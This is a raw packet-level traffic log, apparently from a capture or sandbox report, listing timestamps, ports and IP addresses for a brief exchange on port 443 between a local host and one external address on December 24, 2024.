Dec 24, 2024 19:28:39.847544909 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.847559929 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.847584009 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.847592115 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.847609043 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.847656965 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.847659111 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.847668886 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.847681999 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.847708941 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.847711086 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.847776890 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.847810984 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.847846985 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.848079920 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.848089933 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.848160982 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.849155903 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.849276066 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.849432945 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.849507093 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.849553108 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.849631071 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.849725008 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.849962950 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.852396011 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.858160019 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858176947 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.858201981 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858248949 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.858264923 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858277082 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.858302116 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858320951 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.858331919 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858352900 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858388901 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858391047 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.858407974 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.858432055 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858448029 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.858699083 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858707905 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.858735085 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858742952 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858772993 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.858795881 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858803988 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.858820915 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858891010 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.858951092 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.859002113 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.859193087 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.859206915 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.859251022 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.859266043 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.859286070 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.859299898 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.886744976 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.886971951 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.886996984 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.887063026 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887073040 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.887085915 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887156963 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887173891 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887186050 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887201071 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887233019 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.887237072 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887268066 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.887290955 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887310028 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887327909 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887398958 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.887413979 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887454987 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887490988 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887499094 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887510061 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887527943 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.887552977 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887597084 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887603998 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887614965 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887655973 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887690067 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.887698889 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887710094 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887726068 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887769938 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887797117 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.887811899 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.887820005 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.888022900 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.888031006 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.891666889 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.891750097 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.891792059 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.892107964 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.892235041 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.892268896 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.892395020 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.892719030 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.892734051 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.892821074 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.893014908 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.935353994 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.965930939 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.966037035 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.966176987 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.966320038 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.966480017 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.966617107 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.966916084 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.967053890 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.967169046 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.967538118 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.967617035 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.967735052 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.968914986 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.969692945 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.969715118 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.969734907 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.969847918 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.969897985 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.969911098 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.969917059 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.969930887 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.970088005 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.970160961 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.970241070 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.970330000 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.970943928 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.972152948 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.973794937 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.973813057 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.974174976 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974190950 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.974211931 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974232912 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974236965 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.974273920 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.974277973 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974294901 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974356890 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974358082 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.974364042 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974380016 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974390984 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.974509954 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.974520922 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974627972 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.974751949 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974760056 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.974783897 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974800110 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.974808931 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974823952 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974869967 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974879026 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974893093 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974893093 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.974916935 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974925041 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.974939108 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974961042 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.974977016 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.975045919 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.975172043 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.975184917 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.975263119 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.975271940 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.975286007 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.975334883 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.975639105 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.975650072 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.975670099 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.975687981 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.975711107 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.975737095 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.975780010 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.975791931 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.979106903 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.979125023 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.979257107 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.979266882 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.979321003 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.979330063 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.979348898 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.979362965 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.979363918 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.979386091 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.979548931 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.979558945 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.979696035 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.979715109 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.979842901 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.979854107 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.979871035 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.979887009 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.979908943 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.979924917 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.980151892 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.980160952 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.980381012 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.980401039 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.980449915 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.980484962 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.980634928 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.980734110 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.980988026 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.981003046 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.981048107 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.985517979 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.992062092 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.992077112 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.992345095 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.992455959 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.992556095 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.992624998 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.992643118 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.992657900 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.992712975 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.992753029 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.992923021 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.039340019 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.039465904 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.039496899 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.039513111 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.039552927 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.039570093 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.039612055 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.039633989 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.039642096 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.039684057 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.083336115 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.083475113 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.083517075 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.083534002 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.083578110 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.083616972 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.083626032 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.085057974 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.085135937 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.085220098 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.085294962 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.085314035 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.085352898 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.085438967 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.085535049 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.085617065 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.085699081 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.085705996 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.085786104 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.085895061 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.086007118 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.086009026 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.086088896 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.095696926 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.095731020 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.095848083 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.095871925 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.095942974 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.095976114 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.096023083 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.096155882 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.096259117 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.096328020 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.096375942 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.096410036 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.096513987 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.096643925 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.096720934 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.103261948 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.103292942 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.103507042 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.103517056 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.103599072 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.103605986 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.103672028 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.103718042 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.103740931 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.103811026 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.103878021 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.104110956 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.104217052 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.141002893 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.141088009 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.141319990 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.141418934 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.141654968 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.141758919 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.141946077 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.142301083 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.142687082 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.142700911 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.142776012 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.142795086 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.142854929 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.142863035 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.142878056 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.143038034 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.183374882 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.183931112 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.183948994 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.184000015 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.185625076 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.185781002 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.185949087 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.186024904 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.186141014 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.186255932 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.186276913 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.186301947 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.186490059 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.186923027 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.216598034 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.216926098 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.217044115 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.217325926 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.217427969 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.217492104 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.217529058 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.217575073 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.217654943 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.217669010 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.217998028 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.218111038 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.218255997 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.218626022 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.218759060 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.218791008 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.218889952 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.218894005 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.218949080 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.219202042 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.219353914 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.219629049 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.219763994 CET	50062	443	192.168.2.6	188.245.216.205
